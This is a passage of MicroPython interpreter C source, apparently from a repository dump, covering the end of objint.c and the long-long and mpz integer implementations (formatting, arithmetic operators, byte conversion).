responsibility to free this allocated buffer. // // The resulting formatted string will be returned from this function and the // formatted size will be in *fmt_size. char *mp_obj_int_formatted(char **buf, size_t *buf_size, size_t *fmt_size, mp_const_obj_t self_in, int base, const char *prefix, char base_char, char comma) { fmt_int_t num; if (MP_OBJ_IS_SMALL_INT(self_in)) { // A small int; get the integer value to format. num = MP_OBJ_SMALL_INT_VALUE(self_in); #if MICROPY_LONGINT_IMPL != MICROPY_LONGINT_IMPL_NONE } else if (MP_OBJ_IS_TYPE(self_in, &mp_type_int)) { // Not a small int. #if MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_LONGLONG const mp_obj_int_t *self = self_in; // Get the value to format; mp_obj_get_int truncates to mp_int_t. num = self->val; #else // Delegate to the implementation for the long int. return mp_obj_int_formatted_impl(buf, buf_size, fmt_size, self_in, base, prefix, base_char, comma); #endif #endif } else { // Not an int. **buf = '\0'; *fmt_size = 0; return *buf; } char sign = '\0'; if (num < 0) { num = -num; sign = '-'; } size_t needed_size = mp_int_format_size(sizeof(fmt_int_t) * 8, base, prefix, comma); if (needed_size > *buf_size) { *buf = m_new(char, needed_size); *buf_size = needed_size; } char *str = *buf; char *b = str + needed_size; *(--b) = '\0'; char *last_comma = b; if (num == 0) { *(--b) = '0'; } else { do { // The cast to fmt_uint_t is because num is positive and we want unsigned arithmetic int c = (fmt_uint_t)num % base; num = (fmt_uint_t)num / base; if (c >= 10) { c += base_char - 10; } else { c += '0'; } *(--b) = c; if (comma && num != 0 && b > str && (last_comma - b) == 3) { *(--b) = comma; last_comma = b; } } while (b > str && num != 0); } if (prefix) { size_t prefix_len = strlen(prefix); char *p = b - prefix_len; if (p > str) { b = p; while (*prefix) { *p++ = *prefix++; } } } if (sign && b > str) { *(--b) = sign; } *fmt_size = *buf + needed_size - b - 1; return b; } #if MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_NONE int mp_obj_int_sign(mp_obj_t self_in) { mp_int_t val = mp_obj_get_int(self_in); if (val < 0) { return -1; } else if (val > 0) { return 1; } else { return 0; } } // This must handle int and bool types, and must raise a // TypeError if the argument is not integral mp_obj_t mp_obj_int_abs(mp_obj_t self_in) { mp_int_t val = mp_obj_get_int(self_in); if (val < 0) { val = -val; } return MP_OBJ_NEW_SMALL_INT(val); } // This is called for operations on SMALL_INT that are not handled by mp_unary_op mp_obj_t mp_obj_int_unary_op(mp_uint_t op, mp_obj_t o_in) { return MP_OBJ_NULL; // op not supported } // This is called for operations on SMALL_INT that are not handled by mp_binary_op mp_obj_t mp_obj_int_binary_op(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in) { return mp_obj_int_binary_op_extra_cases(op, lhs_in, rhs_in); } // This is called only with strings whose value doesn't fit in SMALL_INT mp_obj_t mp_obj_new_int_from_str_len(const char **str, size_t len, bool neg, unsigned int base) { mp_raise_msg(&mp_type_OverflowError, "long int not supported in this build"); return mp_const_none; } // This is called when an integer larger than a SMALL_INT is needed (although val might still fit in a SMALL_INT) mp_obj_t mp_obj_new_int_from_ll(long long val) { mp_raise_msg(&mp_type_OverflowError, "small int overflow"); return mp_const_none; } // This is called when an integer larger than a SMALL_INT is needed (although val might still fit in a SMALL_INT) mp_obj_t mp_obj_new_int_from_ull(unsigned long long val) { mp_raise_msg(&mp_type_OverflowError, "small int overflow"); return mp_const_none; } mp_obj_t mp_obj_new_int_from_uint(mp_uint_t value) { // SMALL_INT accepts only signed numbers, so make sure the input // value fits completely in the small-int positive range. if ((value & ~MP_SMALL_INT_POSITIVE_MASK) == 0) { return MP_OBJ_NEW_SMALL_INT(value); } mp_raise_msg(&mp_type_OverflowError, "small int overflow"); return mp_const_none; } mp_obj_t mp_obj_new_int(mp_int_t value) { if (MP_SMALL_INT_FITS(value)) { return MP_OBJ_NEW_SMALL_INT(value); } mp_raise_msg(&mp_type_OverflowError, "small int overflow"); return mp_const_none; } mp_int_t mp_obj_int_get_truncated(mp_const_obj_t self_in) { return MP_OBJ_SMALL_INT_VALUE(self_in); } mp_int_t mp_obj_int_get_checked(mp_const_obj_t self_in) { return MP_OBJ_SMALL_INT_VALUE(self_in); } #endif // MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_NONE // This dispatcher function is expected to be independent of the implementation of long int // It handles the extra cases for integer-like arithmetic mp_obj_t mp_obj_int_binary_op_extra_cases(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in) { if (rhs_in == mp_const_false) { // false acts as 0 return mp_binary_op(op, lhs_in, MP_OBJ_NEW_SMALL_INT(0)); } else if (rhs_in == mp_const_true) { // true acts as 0 return mp_binary_op(op, lhs_in, MP_OBJ_NEW_SMALL_INT(1)); } else if (op == MP_BINARY_OP_MULTIPLY) { if (MP_OBJ_IS_STR(rhs_in) || MP_OBJ_IS_TYPE(rhs_in, &mp_type_bytes) || MP_OBJ_IS_TYPE(rhs_in, &mp_type_tuple) || MP_OBJ_IS_TYPE(rhs_in, &mp_type_list)) { // multiply is commutative for these types, so delegate to them return mp_binary_op(op, rhs_in, lhs_in); } } return MP_OBJ_NULL; // op not supported } // this is a classmethod STATIC mp_obj_t int_from_bytes(size_t n_args, const mp_obj_t *args) { // TODO: Support signed param (assumes signed=False at the moment) (void)n_args; // get the buffer info mp_buffer_info_t bufinfo; mp_get_buffer_raise(args[1], &bufinfo, MP_BUFFER_READ); const byte* buf = (const byte*)bufinfo.buf; int delta = 1; if (args[2] == MP_OBJ_NEW_QSTR(MP_QSTR_little)) { buf += bufinfo.len - 1; delta = -1; } mp_uint_t value = 0; size_t len = bufinfo.len; for (; len--; buf += delta) { #if MICROPY_LONGINT_IMPL != MICROPY_LONGINT_IMPL_NONE if (value > (MP_SMALL_INT_MAX >> 8)) { // Result will overflow a small-int so construct a big-int return mp_obj_int_from_bytes_impl(args[2] != MP_OBJ_NEW_QSTR(MP_QSTR_little), bufinfo.len, bufinfo.buf); } #endif value = (value << 8) | *buf; } return mp_obj_new_int_from_uint(value); } STATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(int_from_bytes_fun_obj, 3, 4, int_from_bytes); STATIC MP_DEFINE_CONST_CLASSMETHOD_OBJ(int_from_bytes_obj, MP_ROM_PTR(&int_from_bytes_fun_obj)); STATIC mp_obj_t int_to_bytes(size_t n_args, const mp_obj_t *args) { // TODO: Support signed param (assumes signed=False) (void)n_args; mp_int_t len = mp_obj_get_int(args[1]); if (len < 0) { mp_raise_ValueError(NULL); } bool big_endian = args[2] != MP_OBJ_NEW_QSTR(MP_QSTR_little); vstr_t vstr; vstr_init_len(&vstr, len); byte *data = (byte*)vstr.buf; memset(data, 0, len); #if MICROPY_LONGINT_IMPL != MICROPY_LONGINT_IMPL_NONE if (!MP_OBJ_IS_SMALL_INT(args[0])) { mp_obj_int_to_bytes_impl(args[0], big_endian, len, data); } else #endif { mp_int_t val = MP_OBJ_SMALL_INT_VALUE(args[0]); size_t l = MIN((size_t)len, sizeof(val)); mp_binary_set_int(l, big_endian, data + (big_endian ? (len - l) : 0), val); } return mp_obj_new_str_from_vstr(&mp_type_bytes, &vstr); } STATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(int_to_bytes_obj, 3, 4, int_to_bytes); STATIC const mp_rom_map_elem_t int_locals_dict_table[] = { { MP_ROM_QSTR(MP_QSTR_from_bytes), MP_ROM_PTR(&int_from_bytes_obj) }, { MP_ROM_QSTR(MP_QSTR_to_bytes), MP_ROM_PTR(&int_to_bytes_obj) }, }; STATIC MP_DEFINE_CONST_DICT(int_locals_dict, int_locals_dict_table); const mp_obj_type_t mp_type_int = { { &mp_type_type }, .name = MP_QSTR_int, .print = mp_obj_int_print, .make_new = mp_obj_int_make_new, .unary_op = mp_obj_int_unary_op, .binary_op = mp_obj_int_binary_op, .locals_dict = (mp_obj_dict_t*)&int_locals_dict, }; ================================================ FILE: micropython/source/py/objint_longlong.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * Copyright (c) 2014 Paul Sokolovsky * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/nlr.h" #include "py/smallint.h" #include "py/objint.h" #include "py/runtime0.h" #include "py/runtime.h" #if MICROPY_PY_BUILTINS_FLOAT #include #endif #if MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_LONGLONG #if MICROPY_PY_SYS_MAXSIZE // Export value for sys.maxsize const mp_obj_int_t mp_maxsize_obj = {{&mp_type_int}, MP_SSIZE_MAX}; #endif mp_obj_t mp_obj_int_from_bytes_impl(bool big_endian, size_t len, const byte *buf) { int delta = 1; if (!big_endian) { buf += len - 1; delta = -1; } mp_longint_impl_t value = 0; for (; len--; buf += delta) { value = (value << 8) | *buf; } return mp_obj_new_int_from_ll(value); } void mp_obj_int_to_bytes_impl(mp_obj_t self_in, bool big_endian, size_t len, byte *buf) { assert(MP_OBJ_IS_TYPE(self_in, &mp_type_int)); mp_obj_int_t *self = self_in; long long val = self->val; if (big_endian) { byte *b = buf + len; while (b > buf) { *--b = val; val >>= 8; } } else { for (; len > 0; --len) { *buf++ = val; val >>= 8; } } } int mp_obj_int_sign(mp_obj_t self_in) { mp_longint_impl_t val; if (MP_OBJ_IS_SMALL_INT(self_in)) { val = MP_OBJ_SMALL_INT_VALUE(self_in); } else { mp_obj_int_t *self = self_in; val = self->val; } if (val < 0) { return -1; } else if (val > 0) { return 1; } else { return 0; } } // This must handle int and bool types, and must raise a // TypeError if the argument is not integral mp_obj_t mp_obj_int_abs(mp_obj_t self_in) { if (MP_OBJ_IS_TYPE(self_in, &mp_type_int)) { mp_obj_int_t *self = self_in; self = mp_obj_new_int_from_ll(self->val); if (self->val < 0) { // TODO could overflow long long self->val = -self->val; } return self; } else { mp_int_t val = mp_obj_get_int(self_in); if (val == MP_SMALL_INT_MIN) { return mp_obj_new_int_from_ll(-val); } else { if (val < 0) { val = -val; } return MP_OBJ_NEW_SMALL_INT(val); } } } mp_obj_t mp_obj_int_unary_op(mp_uint_t op, mp_obj_t o_in) { mp_obj_int_t *o = o_in; switch (op) { case MP_UNARY_OP_BOOL: return mp_obj_new_bool(o->val != 0); // truncate value to fit in mp_int_t, which gives the same hash as // small int if the value fits without truncation case MP_UNARY_OP_HASH: return MP_OBJ_NEW_SMALL_INT((mp_int_t)o->val); case MP_UNARY_OP_POSITIVE: return o_in; case MP_UNARY_OP_NEGATIVE: return mp_obj_new_int_from_ll(-o->val); case MP_UNARY_OP_INVERT: return mp_obj_new_int_from_ll(~o->val); default: return MP_OBJ_NULL; // op not supported } } mp_obj_t mp_obj_int_binary_op(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in) { long long lhs_val; long long rhs_val; if (MP_OBJ_IS_SMALL_INT(lhs_in)) { lhs_val = MP_OBJ_SMALL_INT_VALUE(lhs_in); } else if (MP_OBJ_IS_TYPE(lhs_in, &mp_type_int)) { lhs_val = ((mp_obj_int_t*)lhs_in)->val; } else { return MP_OBJ_NULL; // op not supported } if (MP_OBJ_IS_SMALL_INT(rhs_in)) { rhs_val = MP_OBJ_SMALL_INT_VALUE(rhs_in); } else if (MP_OBJ_IS_TYPE(rhs_in, &mp_type_int)) { rhs_val = ((mp_obj_int_t*)rhs_in)->val; } else { // delegate to generic function to check for extra cases return mp_obj_int_binary_op_extra_cases(op, lhs_in, rhs_in); } switch (op) { case MP_BINARY_OP_ADD: case MP_BINARY_OP_INPLACE_ADD: return mp_obj_new_int_from_ll(lhs_val + rhs_val); case MP_BINARY_OP_SUBTRACT: case MP_BINARY_OP_INPLACE_SUBTRACT: return mp_obj_new_int_from_ll(lhs_val - rhs_val); case MP_BINARY_OP_MULTIPLY: case MP_BINARY_OP_INPLACE_MULTIPLY: return mp_obj_new_int_from_ll(lhs_val * rhs_val); case MP_BINARY_OP_FLOOR_DIVIDE: case MP_BINARY_OP_INPLACE_FLOOR_DIVIDE: return mp_obj_new_int_from_ll(lhs_val / rhs_val); case MP_BINARY_OP_MODULO: case MP_BINARY_OP_INPLACE_MODULO: return mp_obj_new_int_from_ll(lhs_val % rhs_val); case MP_BINARY_OP_AND: case MP_BINARY_OP_INPLACE_AND: return mp_obj_new_int_from_ll(lhs_val & rhs_val); case MP_BINARY_OP_OR: case MP_BINARY_OP_INPLACE_OR: return mp_obj_new_int_from_ll(lhs_val | rhs_val); case MP_BINARY_OP_XOR: case MP_BINARY_OP_INPLACE_XOR: return mp_obj_new_int_from_ll(lhs_val ^ rhs_val); case MP_BINARY_OP_LSHIFT: case MP_BINARY_OP_INPLACE_LSHIFT: return mp_obj_new_int_from_ll(lhs_val << (int)rhs_val); case MP_BINARY_OP_RSHIFT: case MP_BINARY_OP_INPLACE_RSHIFT: return mp_obj_new_int_from_ll(lhs_val >> (int)rhs_val); case MP_BINARY_OP_POWER: case MP_BINARY_OP_INPLACE_POWER: { if (rhs_val < 0) { #if MICROPY_PY_BUILTINS_FLOAT return mp_obj_float_binary_op(op, lhs_val, rhs_in); #else mp_raise_ValueError("negative power with no float support"); #endif } long long ans = 1; while (rhs_val > 0) { if (rhs_val & 1) { ans *= lhs_val; } if (rhs_val == 1) { break; } rhs_val /= 2; lhs_val *= lhs_val; } return mp_obj_new_int_from_ll(ans); } case MP_BINARY_OP_LESS: return mp_obj_new_bool(lhs_val < rhs_val); case MP_BINARY_OP_MORE: return mp_obj_new_bool(lhs_val > rhs_val); case MP_BINARY_OP_LESS_EQUAL: return mp_obj_new_bool(lhs_val <= rhs_val); case MP_BINARY_OP_MORE_EQUAL: return mp_obj_new_bool(lhs_val >= rhs_val); case MP_BINARY_OP_EQUAL: return mp_obj_new_bool(lhs_val == rhs_val); default: return MP_OBJ_NULL; // op not supported } } mp_obj_t mp_obj_new_int(mp_int_t value) { if (MP_SMALL_INT_FITS(value)) { return MP_OBJ_NEW_SMALL_INT(value); } return mp_obj_new_int_from_ll(value); } mp_obj_t mp_obj_new_int_from_uint(mp_uint_t value) { // SMALL_INT accepts only signed numbers, so make sure the input // value fits completely in the small-int positive range. if ((value & ~MP_SMALL_INT_POSITIVE_MASK) == 0) { return MP_OBJ_NEW_SMALL_INT(value); } return mp_obj_new_int_from_ll(value); } mp_obj_t mp_obj_new_int_from_ll(long long val) { mp_obj_int_t *o = m_new_obj(mp_obj_int_t); o->base.type = &mp_type_int; o->val = val; return o; } mp_obj_t mp_obj_new_int_from_ull(unsigned long long val) { // TODO raise an exception if the unsigned long long won't fit if (val >> (sizeof(unsigned long long) * 8 - 1) != 0) { mp_raise_msg(&mp_type_OverflowError, "ulonglong too large"); } mp_obj_int_t *o = m_new_obj(mp_obj_int_t); o->base.type = &mp_type_int; o->val = val; return o; } mp_obj_t mp_obj_new_int_from_str_len(const char **str, size_t len, bool neg, unsigned int base) { // TODO this does not honor the given length of the string, but it all cases it should anyway be null terminated // TODO check overflow mp_obj_int_t *o = m_new_obj(mp_obj_int_t); o->base.type = &mp_type_int; char *endptr; o->val = strtoll(*str, &endptr, base); *str = endptr; return o; } mp_int_t mp_obj_int_get_truncated(mp_const_obj_t self_in) { if (MP_OBJ_IS_SMALL_INT(self_in)) { return MP_OBJ_SMALL_INT_VALUE(self_in); } else { const mp_obj_int_t *self = self_in; return self->val; } } mp_int_t mp_obj_int_get_checked(mp_const_obj_t self_in) { // TODO: Check overflow return mp_obj_int_get_truncated(self_in); } #if MICROPY_PY_BUILTINS_FLOAT mp_float_t mp_obj_int_as_float_impl(mp_obj_t self_in) { assert(MP_OBJ_IS_TYPE(self_in, &mp_type_int)); mp_obj_int_t *self = self_in; return self->val; } #endif #endif ================================================ FILE: micropython/source/py/objint_mpz.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include "py/nlr.h" #include "py/parsenumbase.h" #include "py/smallint.h" #include "py/objint.h" #include "py/runtime0.h" #include "py/runtime.h" #if MICROPY_PY_BUILTINS_FLOAT #include #endif #if MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_MPZ #if MICROPY_PY_SYS_MAXSIZE // Export value for sys.maxsize #define DIG_MASK ((MPZ_LONG_1 << MPZ_DIG_SIZE) - 1) STATIC const mpz_dig_t maxsize_dig[] = { #define NUM_DIG 1 (MP_SSIZE_MAX >> MPZ_DIG_SIZE * 0) & DIG_MASK, #if (MP_SSIZE_MAX >> MPZ_DIG_SIZE * 0) > DIG_MASK #undef NUM_DIG #define NUM_DIG 2 (MP_SSIZE_MAX >> MPZ_DIG_SIZE * 1) & DIG_MASK, #if (MP_SSIZE_MAX >> MPZ_DIG_SIZE * 1) > DIG_MASK #undef NUM_DIG #define NUM_DIG 3 (MP_SSIZE_MAX >> MPZ_DIG_SIZE * 2) & DIG_MASK, #if (MP_SSIZE_MAX >> MPZ_DIG_SIZE * 2) > DIG_MASK #undef NUM_DIG #define NUM_DIG 4 (MP_SSIZE_MAX >> MPZ_DIG_SIZE * 3) & DIG_MASK, #if (MP_SSIZE_MAX >> MPZ_DIG_SIZE * 3) > DIG_MASK #error cannot encode MP_SSIZE_MAX as mpz #endif #endif #endif #endif }; const mp_obj_int_t mp_maxsize_obj = { {&mp_type_int}, {.fixed_dig = 1, .len = NUM_DIG, .alloc = NUM_DIG, .dig = (mpz_dig_t*)maxsize_dig} }; #undef DIG_MASK #undef NUM_DIG #endif mp_obj_int_t *mp_obj_int_new_mpz(void) { mp_obj_int_t *o = m_new_obj(mp_obj_int_t); o->base.type = &mp_type_int; mpz_init_zero(&o->mpz); return o; } // This routine expects you to pass in a buffer and size (in *buf and buf_size). // If, for some reason, this buffer is too small, then it will allocate a // buffer and return the allocated buffer and size in *buf and *buf_size. It // is the callers responsibility to free this allocated buffer. // // The resulting formatted string will be returned from this function and the // formatted size will be in *fmt_size. // // This particular routine should only be called for the mpz representation of the int. char *mp_obj_int_formatted_impl(char **buf, size_t *buf_size, size_t *fmt_size, mp_const_obj_t self_in, int base, const char *prefix, char base_char, char comma) { assert(MP_OBJ_IS_TYPE(self_in, &mp_type_int)); const mp_obj_int_t *self = MP_OBJ_TO_PTR(self_in); size_t needed_size = mp_int_format_size(mpz_max_num_bits(&self->mpz), base, prefix, comma); if (needed_size > *buf_size) { *buf = m_new(char, needed_size); *buf_size = needed_size; } char *str = *buf; *fmt_size = mpz_as_str_inpl(&self->mpz, base, prefix, base_char, comma, str); return str; } mp_obj_t mp_obj_int_from_bytes_impl(bool big_endian, size_t len, const byte *buf) { mp_obj_int_t *o = mp_obj_int_new_mpz(); mpz_set_from_bytes(&o->mpz, big_endian, len, buf); return MP_OBJ_FROM_PTR(o); } void mp_obj_int_to_bytes_impl(mp_obj_t self_in, bool big_endian, size_t len, byte *buf) { assert(MP_OBJ_IS_TYPE(self_in, &mp_type_int)); mp_obj_int_t *self = MP_OBJ_TO_PTR(self_in); memset(buf, 0, len); mpz_as_bytes(&self->mpz, big_endian, len, buf); } int mp_obj_int_sign(mp_obj_t self_in) { if (MP_OBJ_IS_SMALL_INT(self_in)) { mp_int_t val = MP_OBJ_SMALL_INT_VALUE(self_in); if (val < 0) { return -1; } else if (val > 0) { return 1; } else { return 0; } } mp_obj_int_t *self = MP_OBJ_TO_PTR(self_in); if (self->mpz.len == 0) { return 0; } else if (self->mpz.neg == 0) { return 1; } else { return -1; } } // This must handle int and bool types, and must raise a // TypeError if the argument is not integral mp_obj_t mp_obj_int_abs(mp_obj_t self_in) { if (MP_OBJ_IS_TYPE(self_in, &mp_type_int)) { mp_obj_int_t *self = MP_OBJ_TO_PTR(self_in); mp_obj_int_t *self2 = mp_obj_int_new_mpz(); mpz_abs_inpl(&self2->mpz, &self->mpz); return MP_OBJ_FROM_PTR(self2); } else { mp_int_t val = mp_obj_get_int(self_in); if (val == MP_SMALL_INT_MIN) { return mp_obj_new_int_from_ll(-val); } else { if (val < 0) { val = -val; } return MP_OBJ_NEW_SMALL_INT(val); } } } mp_obj_t mp_obj_int_unary_op(mp_uint_t op, mp_obj_t o_in) { mp_obj_int_t *o = MP_OBJ_TO_PTR(o_in); switch (op) { case MP_UNARY_OP_BOOL: return mp_obj_new_bool(!mpz_is_zero(&o->mpz)); case MP_UNARY_OP_HASH: return MP_OBJ_NEW_SMALL_INT(mpz_hash(&o->mpz)); case MP_UNARY_OP_POSITIVE: return o_in; case MP_UNARY_OP_NEGATIVE: { mp_obj_int_t *o2 = mp_obj_int_new_mpz(); mpz_neg_inpl(&o2->mpz, &o->mpz); return MP_OBJ_FROM_PTR(o2); } case MP_UNARY_OP_INVERT: { mp_obj_int_t *o2 = mp_obj_int_new_mpz(); mpz_not_inpl(&o2->mpz, &o->mpz); return MP_OBJ_FROM_PTR(o2); } default: return MP_OBJ_NULL; // op not supported } } mp_obj_t mp_obj_int_binary_op(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in) { const mpz_t *zlhs; const mpz_t *zrhs; mpz_t z_int; mpz_dig_t z_int_dig[MPZ_NUM_DIG_FOR_INT]; // lhs could be a small int (eg small-int + mpz) if (MP_OBJ_IS_SMALL_INT(lhs_in)) { mpz_init_fixed_from_int(&z_int, z_int_dig, MPZ_NUM_DIG_FOR_INT, MP_OBJ_SMALL_INT_VALUE(lhs_in)); zlhs = &z_int; } else if (MP_OBJ_IS_TYPE(lhs_in, &mp_type_int)) { zlhs = &((mp_obj_int_t*)MP_OBJ_TO_PTR(lhs_in))->mpz; } else { // unsupported type return MP_OBJ_NULL; } // if rhs is small int, then lhs was not (otherwise mp_binary_op handles it) if (MP_OBJ_IS_SMALL_INT(rhs_in)) { mpz_init_fixed_from_int(&z_int, z_int_dig, MPZ_NUM_DIG_FOR_INT, MP_OBJ_SMALL_INT_VALUE(rhs_in)); zrhs = &z_int; } else if (MP_OBJ_IS_TYPE(rhs_in, &mp_type_int)) { zrhs = &((mp_obj_int_t*)MP_OBJ_TO_PTR(rhs_in))->mpz; #if MICROPY_PY_BUILTINS_FLOAT } else if (mp_obj_is_float(rhs_in)) { return mp_obj_float_binary_op(op, mpz_as_float(zlhs), rhs_in); #if MICROPY_PY_BUILTINS_COMPLEX } else if (MP_OBJ_IS_TYPE(rhs_in, &mp_type_complex)) { return mp_obj_complex_binary_op(op, mpz_as_float(zlhs), 0, rhs_in); #endif #endif } else { // delegate to generic function to check for extra cases return mp_obj_int_binary_op_extra_cases(op, lhs_in, rhs_in); } if (0) { #if MICROPY_PY_BUILTINS_FLOAT } else if (op == MP_BINARY_OP_TRUE_DIVIDE || op == MP_BINARY_OP_INPLACE_TRUE_DIVIDE) { if (mpz_is_zero(zrhs)) { goto zero_division_error; } mp_float_t flhs = mpz_as_float(zlhs); mp_float_t frhs = mpz_as_float(zrhs); return mp_obj_new_float(flhs / frhs); #endif } else if (op <= MP_BINARY_OP_INPLACE_POWER) { mp_obj_int_t *res = mp_obj_int_new_mpz(); switch (op) { case MP_BINARY_OP_ADD: case MP_BINARY_OP_INPLACE_ADD: mpz_add_inpl(&res->mpz, zlhs, zrhs); break; case MP_BINARY_OP_SUBTRACT: case MP_BINARY_OP_INPLACE_SUBTRACT: mpz_sub_inpl(&res->mpz, zlhs, zrhs); break; case MP_BINARY_OP_MULTIPLY: case MP_BINARY_OP_INPLACE_MULTIPLY: mpz_mul_inpl(&res->mpz, zlhs, zrhs); break; case MP_BINARY_OP_FLOOR_DIVIDE: case MP_BINARY_OP_INPLACE_FLOOR_DIVIDE: { if (mpz_is_zero(zrhs)) { zero_division_error: mp_raise_msg(&mp_type_ZeroDivisionError, "division by zero"); } mpz_t rem; mpz_init_zero(&rem); mpz_divmod_inpl(&res->mpz, &rem, zlhs, zrhs); mpz_deinit(&rem); break; } case MP_BINARY_OP_MODULO: case MP_BINARY_OP_INPLACE_MODULO: { if (mpz_is_zero(zrhs)) { goto zero_division_error; } mpz_t quo; mpz_init_zero(&quo); mpz_divmod_inpl(&quo, &res->mpz, zlhs, zrhs); mpz_deinit(&quo); break; } case MP_BINARY_OP_AND: case MP_BINARY_OP_INPLACE_AND: mpz_and_inpl(&res->mpz, zlhs, zrhs); break; case MP_BINARY_OP_OR: case MP_BINARY_OP_INPLACE_OR: mpz_or_inpl(&res->mpz, zlhs, zrhs); break; case MP_BINARY_OP_XOR: case MP_BINARY_OP_INPLACE_XOR: mpz_xor_inpl(&res->mpz, zlhs, zrhs); break; case MP_BINARY_OP_LSHIFT: case MP_BINARY_OP_INPLACE_LSHIFT: case MP_BINARY_OP_RSHIFT: case MP_BINARY_OP_INPLACE_RSHIFT: { mp_int_t irhs = mp_obj_int_get_checked(rhs_in); if (irhs < 0) { mp_raise_ValueError("negative shift count"); } if (op == MP_BINARY_OP_LSHIFT || op == MP_BINARY_OP_INPLACE_LSHIFT) { mpz_shl_inpl(&res->mpz, zlhs, irhs); } else { mpz_shr_inpl(&res->mpz, zlhs, irhs); } break; } case MP_BINARY_OP_POWER: case MP_BINARY_OP_INPLACE_POWER: if (mpz_is_neg(zrhs)) { #if MICROPY_PY_BUILTINS_FLOAT return mp_obj_float_binary_op(op, mpz_as_float(zlhs), rhs_in); #else mp_raise_ValueError("negative power with no float support"); #endif } mpz_pow_inpl(&res->mpz, zlhs, zrhs); break; default: { assert(op == MP_BINARY_OP_DIVMOD); if (mpz_is_zero(zrhs)) { goto zero_division_error; } mp_obj_int_t *quo = mp_obj_int_new_mpz(); mpz_divmod_inpl(&quo->mpz, &res->mpz, zlhs, zrhs); mp_obj_t tuple[2] = {MP_OBJ_FROM_PTR(quo), MP_OBJ_FROM_PTR(res)}; return mp_obj_new_tuple(2, tuple); } } return MP_OBJ_FROM_PTR(res); } else { int cmp = mpz_cmp(zlhs, zrhs); switch (op) { case MP_BINARY_OP_LESS: return mp_obj_new_bool(cmp < 0); case MP_BINARY_OP_MORE: return mp_obj_new_bool(cmp > 0); case MP_BINARY_OP_LESS_EQUAL: return mp_obj_new_bool(cmp <= 0); case MP_BINARY_OP_MORE_EQUAL: return mp_obj_new_bool(cmp >= 0); case MP_BINARY_OP_EQUAL: return mp_obj_new_bool(cmp == 0); default: return MP_OBJ_NULL; // op not supported } } } #if MICROPY_PY_BUILTINS_POW3 STATIC mpz_t *mp_mpz_for_int(mp_obj_t arg, mpz_t *temp) { if (MP_OBJ_IS_SMALL_INT(arg)) { mpz_init_from_int(temp, MP_OBJ_SMALL_INT_VALUE(arg)); return temp; } else { mp_obj_int_t *arp_p = MP_OBJ_TO_PTR(arg); return &(arp_p->mpz); } } mp_obj_t mp_obj_int_pow3(mp_obj_t base, mp_obj_t exponent, mp_obj_t modulus) { if (!MP_OBJ_IS_INT(base) || !MP_OBJ_IS_INT(exponent) || !MP_OBJ_IS_INT(modulus)) { mp_raise_TypeError("pow() with 3 arguments requires integers"); } else { mp_obj_t result = mp_obj_new_int_from_ull(0); // Use the _from_ull version as this forces an mpz int mp_obj_int_t *res_p = (mp_obj_int_t *) MP_OBJ_TO_PTR(result); mpz_t l_temp, r_temp, m_temp; mpz_t *lhs = mp_mpz_for_int(base, &l_temp); mpz_t *rhs = mp_mpz_for_int(exponent, &r_temp); mpz_t *mod = mp_mpz_for_int(modulus, &m_temp); mpz_pow3_inpl(&(res_p->mpz), lhs, rhs, mod); if (lhs == &l_temp) { mpz_deinit(lhs); } if (rhs == &r_temp) { mpz_deinit(rhs); } if (mod == &m_temp) { mpz_deinit(mod); } return result; } } #endif mp_obj_t mp_obj_new_int(mp_int_t value) { if (MP_SMALL_INT_FITS(value)) { return MP_OBJ_NEW_SMALL_INT(value); } return mp_obj_new_int_from_ll(value); } mp_obj_t mp_obj_new_int_from_ll(long long val) { mp_obj_int_t *o = mp_obj_int_new_mpz(); mpz_set_from_ll(&o->mpz, val, true); return MP_OBJ_FROM_PTR(o); } mp_obj_t mp_obj_new_int_from_ull(unsigned long long val) { mp_obj_int_t *o = 